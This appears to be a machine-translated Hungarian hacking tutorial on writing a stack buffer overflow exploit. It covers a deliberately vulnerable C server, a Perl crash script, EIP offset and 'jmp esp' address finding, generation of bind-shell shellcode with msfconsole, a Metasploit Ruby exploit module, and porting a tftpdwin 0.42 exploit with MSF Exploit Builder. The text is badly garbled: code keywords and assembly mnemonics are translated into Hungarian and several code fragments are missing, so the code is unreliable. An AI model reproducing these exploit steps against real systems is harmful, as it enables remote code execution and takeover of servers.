Gyári sploitov megtanulni írni kihasználja Metasploit keret

Hol vannak sploitov? Már gondoltam, hogy unalmas hírek
Bugtraq átalakul egy működő tolvajkulcs? Hogyan körülbelül két tucat
sornyi kódot kaphat egy shell egy távoli szerveren? Ma meglátogatjuk
sploitov gyár, és minden részletet néz ki, mint tette
a minőségi termék.

Sploit - milyen állat
annyira szokatlan? Tény, hogy ez a program meg van írva a használati cél
réseket - OS, a szokásos program vagy webes alkalmazás. Lehet
a maga semmit - például program C / C ++ (Delphi, ASM), skriptik Perl vagy a PHP,
vagy akár a kép, de a lényeg az, hogy ez befolyásolja a kiszolgáltatott
rendszert, és hogy ez a munka úgy, ahogy van programozva. távoli
kihasználni munkák hálózaton keresztül a biztonsági rés kihasználására nélkül
megelőzően hozzáférést a sérülékeny rendszert. Helyi sploitov ugyanazon távon
közvetlenül érintett rendszer, amely megköveteli, mielőtt hozzáférést és
általánosan használt magasabb szintű jogosultság.

Sploitov oszthatók aszerint, hogy a használt típusú biztonsági rés által: puffer túlcsordulás,
SQL-injekció, cross-site scripting, stb Röviden, a faj
sok és mindegyik más, mint a technika végrehajtása, valamint a célját. de
Van bennük egy dolog közös - ezek mindegyike kód, amely végrehajtja fogant hacker
intézkedéseket. Ez a kód neve: bytecode, shell kódot (mivel igen gyakran ezt a kódot
Shelley hozzáférést biztosít a távoli rendszer), közüzemi (harci) terhelés
(Payload). Írásban ilyen kód - művészet. Ha azt szeretnénk, hogy megértsék
Ezen a területen, azt javaslom, hogy kezdeni Step'a cikk „Hogyan
hozott shellcode. „Nézzük meg az írás folyamata exploit és shellcode
hogy egy kész csomag Metasploit.

Írásban áldozatot kísérletek

Meggyőződésem, hogy nincs több jól látható módon bizonyítani létrehozását harci
kódot, mint egy konkrét példát. Tehát kezdjük a játékot a mountain-programozók
navayal kis szerver alkalmazás, így azt a kritikus biztonsági rést,
fognak működni. Az alkalmazás kapcsolatokat fogadni
Különösen port, amint néhány csomag kerül hívott függvény,
végez valamilyen műveletet a kapott adatok és az alkalmazás
befejeződött. csontváz alkalmazás az alábbi ábrán látható:

void PR (char * str)
char buf [500] = "";
strcpy (buf, str); // itt van a biztonsági rést, személyesen
>

int main (int argc, char ** argv)
.
int bytesRecv = SOCKET_ERROR;
míg a (bytesRecv == SOCKET_ERROR)
// Az adatok ügyfél által küldött
bytesRecv = recv (clientSocket, Message, 5000, 0);

ha (bytesRecv == 0 || bytesRecv == WSAECONNRESET)
printf ( "\ nConnection Zárt \ n.");
break;
>
>

PR (Message); // hívni a függvényt, amely nem ellenőrzi, hogy a bemeneti puffer hossza
másolás

closesocket (clientSocket);
closesocket (ServerSocket);
WSACleanup ();
vissza 0;
>

Óvatosan nézi a kódot, akkor láthatjuk, hogy a függvény void pr (char * str) nem
ellenőrzi a bemeneti puffer hossza, és ha át paraméterként a vonal
meghaladja az 500 karaktert -, hogy egy klasszikus puffer túlcsordulás. minden
Röviden arról, hogyan működik (ott kell emlékezni, hogy a stack):

PUSH EDI // tegye a stack pointer a puffer Átmásolandó
(* Str)
CALL Server._pr // a függvényt pf

Miután felhívta a hívási verem fog kinézni:

Az változó buf soroltuk 500 byte. És mi történik, ha másol
a húr hosszabb?

Öld a helyszínen!

A szerver simán fut, amíg ő nem egy string, amely több
mint 500 karakter. Ellenkező esetben - határozottan összeomlik az alkalmazás. felvázolásához
kis skriptik Perl működéséhez egy puffer túlcsordulás:

use strict;
használja Socket;
my $ junk = "\ X41" x1000;

# Végezzünk kötelező
my $ iaddr = inet_aton ($ host);
my $ paddr = sockaddr_in ($ port, $ iaddr);

print "[+] beállítása foglalat \ n";
# Létrehozása aljzat és csatlakozzon port
foglalat (socket, set_optmin, SOCK_STREAM, $ proto) or die "foglalat: $!";
print "[+] Csatlakozás $ host porton $ port \ n";
csatlakoztassa (SOCKET, $ paddr) or die "csatlakozni: $!";

print "[+] küldése payload \ n";
print $ SOCKET junk "\ n" .;

print "[+] adattartalom küldött \ n";

közel SOCKET vagy meghalni "közeli: $!";

Az általunk használt Metasploit fejleszteni kihasználni

És a script helyett a változó értéke $ junk a fenti
szekvencia. Re-elindítjuk veszélyeztetett kiszolgálóhoz csatlakozzon rá
OllyDbg és futtassa a kiaknázására. Szerver összeomlik újra. Nos, vessünk egy pillantást, hogy
Ezúttal kiderült, hogy az EIP regisztrálni? EIP = 41387141. Annak meghatározására, az offset
karakterre, használjon más segédprogramot a Metasploit -
pattern_offset, átadva a szükséges paramétereket, a mérete és hossza a puffer:

És cserélje ki a sort, hogy elküldi a generált karakterláncot az aljzat, hogy:

print $ SOCKET junk $ eipoverwrite $ junk2 "\ n" ...;

0040130B: CALL 00404351

[Buf] [EBP] [RET] [előző verem keret]

sajtó (Ugrás a következő utasítás), és jegyezze fel a változásokat a stack:

[Buf] [EBP] [RET] [előző verem keret]
[Aaaaaaaa] [BBB] [cccccccc ...]

Most nézzük meg a végén pf funkciók:

00401313 POP EDI
00401314 POP ESI
00401315 SZABADSÁG
00401316 RETN

Amikor felhívja a SZABADSÁG parancsot, akkor a következő történik:

Findjmp2.exe ws2_32.dll esp
Scanning ws2_32.dll kódra használható az ESP regiszter
0x71AB9372 nyomja ESP - ret
Kész Scanning ws2_32.dll a kód használható az ESP regiszter
Talált 1 felhasználható címek

Továbbra is csak a létrehozni shellcode. Mint már említettem, hogy be kell mutatni sploitov
Egy fontos követelmény - ne tartalmazzon nulla bájt. a program
másolt szöveg, és ha találkozni „0”, akkor kell értelmezni, hogy az a sor végére.
Ennek megfelelően, a fennmaradó vonal nem másolható, és a hiányos shell kódot,
Természetesen ez nem fog működni. Létrehozásában a shellcode, akkor ismét
Metasploit és konzol interfész irányítási keret. Így fut
Konzol eszközök / msfconsole és adja meg a következőket:

MSF> A Windows / shell_bind_tcp // fogja használni ezt a hasznos teher
MSF hasznos (shell_bind_tcp)> set LPORT 5555 // állítsa a port értékét
távoli gép
LPORT => 5555

A parancs a „generál -h” nézd meg a lehetőség, hogy megadható
generál shellcode:

  • -b - a fenti karakterekből hogy ki kell zárni a shellcode;
  • -f - a fájl neve, ahol a shell kódot tárolják;
  • -t - típusa shellcode: Ruby, Perl, C, vagy nyers.

Rámutatnak, hogy szükséges, hogy elkerüljék bájt „\ x00 \ xff” generál kódot és Perl'a
mentse az eredményeket c: \\ shellcode.bin:

MSF hasznos (shell_bind_tcp)> generál -b \ x00 \ xff "-f c: \\ shellcode.bin
-t perl
[*] Az írás 1747 byte c: \ shellcode.bin.

Most, miután a shell kódot, itt az ideje, hogy összegyűjtsék a teljes
kihasználni. Az egyetlen dolog - meg kell emlékezni egy pár dolgot:

húr küldeni a kiszolgáló úgy lesz beállítva az alábbiak szerint:

Végül húr küldeni a foglalat:

// és küldje mérges húr a szerver
print $ SOCKET junk $ eipoverwrite $ shellcode "\ n" ...;

Ezután sploite próbál kapcsolatot létesíteni a távoli gép
5555 port, amelyhez rámutatott generálása során shellcode:

rendszer ( "telnet $ host 5555");

Kihasználni, hogy Metasploit

Tehát, már sploit egy adott platform egy jól meghatározott
terhelés, a nyílás a shell rendszerben. Akkor miért olyan
speciális platform létrehozására sploitov ha nem vagyunk elég költséghatékony erők
Egyedül Perl? Ennek az az oka, hogy a Metasploit nyújt bőséges
darabszám, különböző megvalósítások a protokollok, az egyik legnagyobb adatbázisa
shell kódot, terhelhetőség Az s-, amelyek segítségével írásakor a saját
kihasználni. Ehelyett pocsék perl script írhat egy modul Metasploit,
majd futtatni bármely platformon és a hasznos dönt, hogy az íze!
Hallod a különbség? Azt javaslom, most, hogy javítsa a sploit átírása
azt a Metasploit, és hogyan működik. Természetesen, ez lesz
Megvan a képessége, hogy válassza ki a platform támadni, és lehet választani peyload
jobb a támadás során végrehajtását.

Sploitov bármely funkció segítségével írjuk le egy osztály, ahol
beállításai a paraméterek használatával és funkcionalitás - a módszerek segítségével.
Alkotó objektum örökölt az egyik előre meghatározott osztályok. mint
hozunk létre egy távoli sploit, akkor a tárgy öröklik a szülő osztály
„Távoli kihasználni.” A szintaxis a Ruby történik az alábbiak szerint:

osztály Metasploit3

Metasploit nagy érdeme, hogy egységesíti a nagyszámú
paramétereket és műveleteket, így a használata kész terveket újra és újra.
Az első elem a fejlett osztály - szakasz közé, ahol csatlakozni
kezelőjét a kívánt protokollt minket. A Metasploit van rakodók http,
ftp és egyéb protokollok, amely megkönnyíti, hogy írjon hasznosítja, és nem
zavarta a saját végrehajtását. A kihasználni felhasználások
TCP-kapcsolat, így a kód lesz az alábbiak szerint:

Ezután az egész sploit két módszer: init eljárás, melyben
adja meg a szükséges információkat sikeres végrehajtását kihasználni, és az eljárás
művelet, amit küldeni a szerverre mérgező sor.

Kezdjük az inicializálás. A paraméter megadja a hossza Payload toxikus puffert és
Érvénytelen karakterek (a mi esetünkben - 0x00 és 0xff):

'Hasznos teher' =>
'Space' => 1400
'BadChars' => "\ x00 \ xff"
>

def kihasználni
kapcsolódni

junk = make_nops (target [ 'Offset'])
sploit = ​​junk + [target.ret] .pack ( 'V') + make_nops (50) + payload.encoded
sock.put (sploit)

felvezető
szétkapcsol
vég

Ennyi az első Metasploit modul készen áll! Hogy lehet
használja, másolja a forráskódot modules / hasznosítja / teszt mappát (ha nem tetszik
teszt - lehet másolni a windows / misc, például). Fuss és msfconsole
dolgozik egy interaktív konzol Metasploit'a!

Tett 5 perc alatt

Mint látható, hogy dolgozzon ki egy hasznosíthatja Metasplot nem olyan nehéz. még inkább
éppen ellenkezőleg, azért, mert a legtöbb munkát már tenni az Ön számára. Vegyünk legalább mérhetetlen
bázis shell kód - próbálja fejleszteni a saját. De a lustaság nem korlátozza az emberi,
így annak érdekében, hogy tovább kell egyszerűsíteni a folyamatot fejlesztettek közművek csomag
Ön MSF kihasználni Builder. A program egy felhasználóbarát grafikus felület és
Segít nagyon gyorsan hozzon létre egy új modult Metasploit. kivéve
GUI, kiaknázására Builder tartalmaz egy csomó hasznos eszközök,
szükséges tesztelési és hibakeresési hasznosítja. Ráadásul - ismét
létre a semmiből, és a port a meglévő sploitov.

Azt javaslom, hogy bármilyen üzemelteti és használja az MSF kihasználni Builder
kapcsolja be Metasploit-modult. Lehet kérdezni, miért kell nekünk? ismét:
alakítását Metasploit-modul, fel tudjuk használni, együtt különböző
payload-ok. Egyszerűen fogalmazva, ez teszi több sokoldalú és
cross-platform. Most már meggyőztem magam, hogy ez a program lehet
hogy az élet könnyebb - most már nem kell írni, és hibakeresés a kiaknázása még
ismerete Ruby és Metasploit API. Ami a nyúl kísérlet, én választottam
Az első dolog, hogy rátaláltam - sploit az tftpdwin 0,42 (milw0rm.com/exploits/7452).

Tehát úgy döntünk Tftpd.exe, mely után a program felajánlja a következő:
úgy dönt, hogy indítsa el az alkalmazást, futtatni alatt debugger vagy nem fut
általában - csak az alkalmazás futtatásához. Figyeljük meg, hogy a jobb oldali
listáját jeleníti meg a letöltött DDL'ek alkalmazás.

my $ csomag = (($ p1) ($ nopsled) ($ shellcode) (($ túlcsordulás)) ($ ret) ($ p2) .....);

Sőt, most már mindent, hogy hozzon létre a kész sploitov. ezért
kattintson a gombot „Generate”, és csodálja meg a kapott kódot sploitov. ha
néhány ponton is megkérdőjelezhető, akkor lehetőség van arra, hogy módosítsa a kódot kézzel.
Híres, lehetséges, hogy teszteljék a funkciókat a kód egyszerre - ez biztonságosan
kattintson a „Test” gombra. És ez - ez működik! 5 percig, hogy elment
Bevezetés a programot, és anélkül, hogy tudták, milyen az Ruby nyelv és szerkezete
Metasploit hoztunk létre egy teljesen működő sploit. Ez megéri! mint
házi feladat, próbálja meg kihasználni MSF Builder létrehozni kihasználása
a szerver :).

következtetés

Hogy véget ért a túra a gyár hasznosítja. Tudja, hogyan kell megépíteni
sploitov, hasznos sok szempontból. Nem tudja elolvasni a shellcode a nyílt
kihasználni, vagy általában, kezdve exe'shnik furcsa, ez nem mindig lehetséges
bízik az alkotó. Sok sploitov rendelkezésre Public hiányzó
alkatrészek és a kifejezetten elhagyott hibák - akkor biztosan megáll a hadsereg
skriptkidis, de nem valószínű, hogy egy komoly probléma megértéséhez ember.
Remélem győződve, hogy ma, hogy nincs semmi irreális a sploitov nem: mert
Hackerek emberek - logikus és érthető :).

Részletes információk a Metasploit API:

Blog Metasploit keret: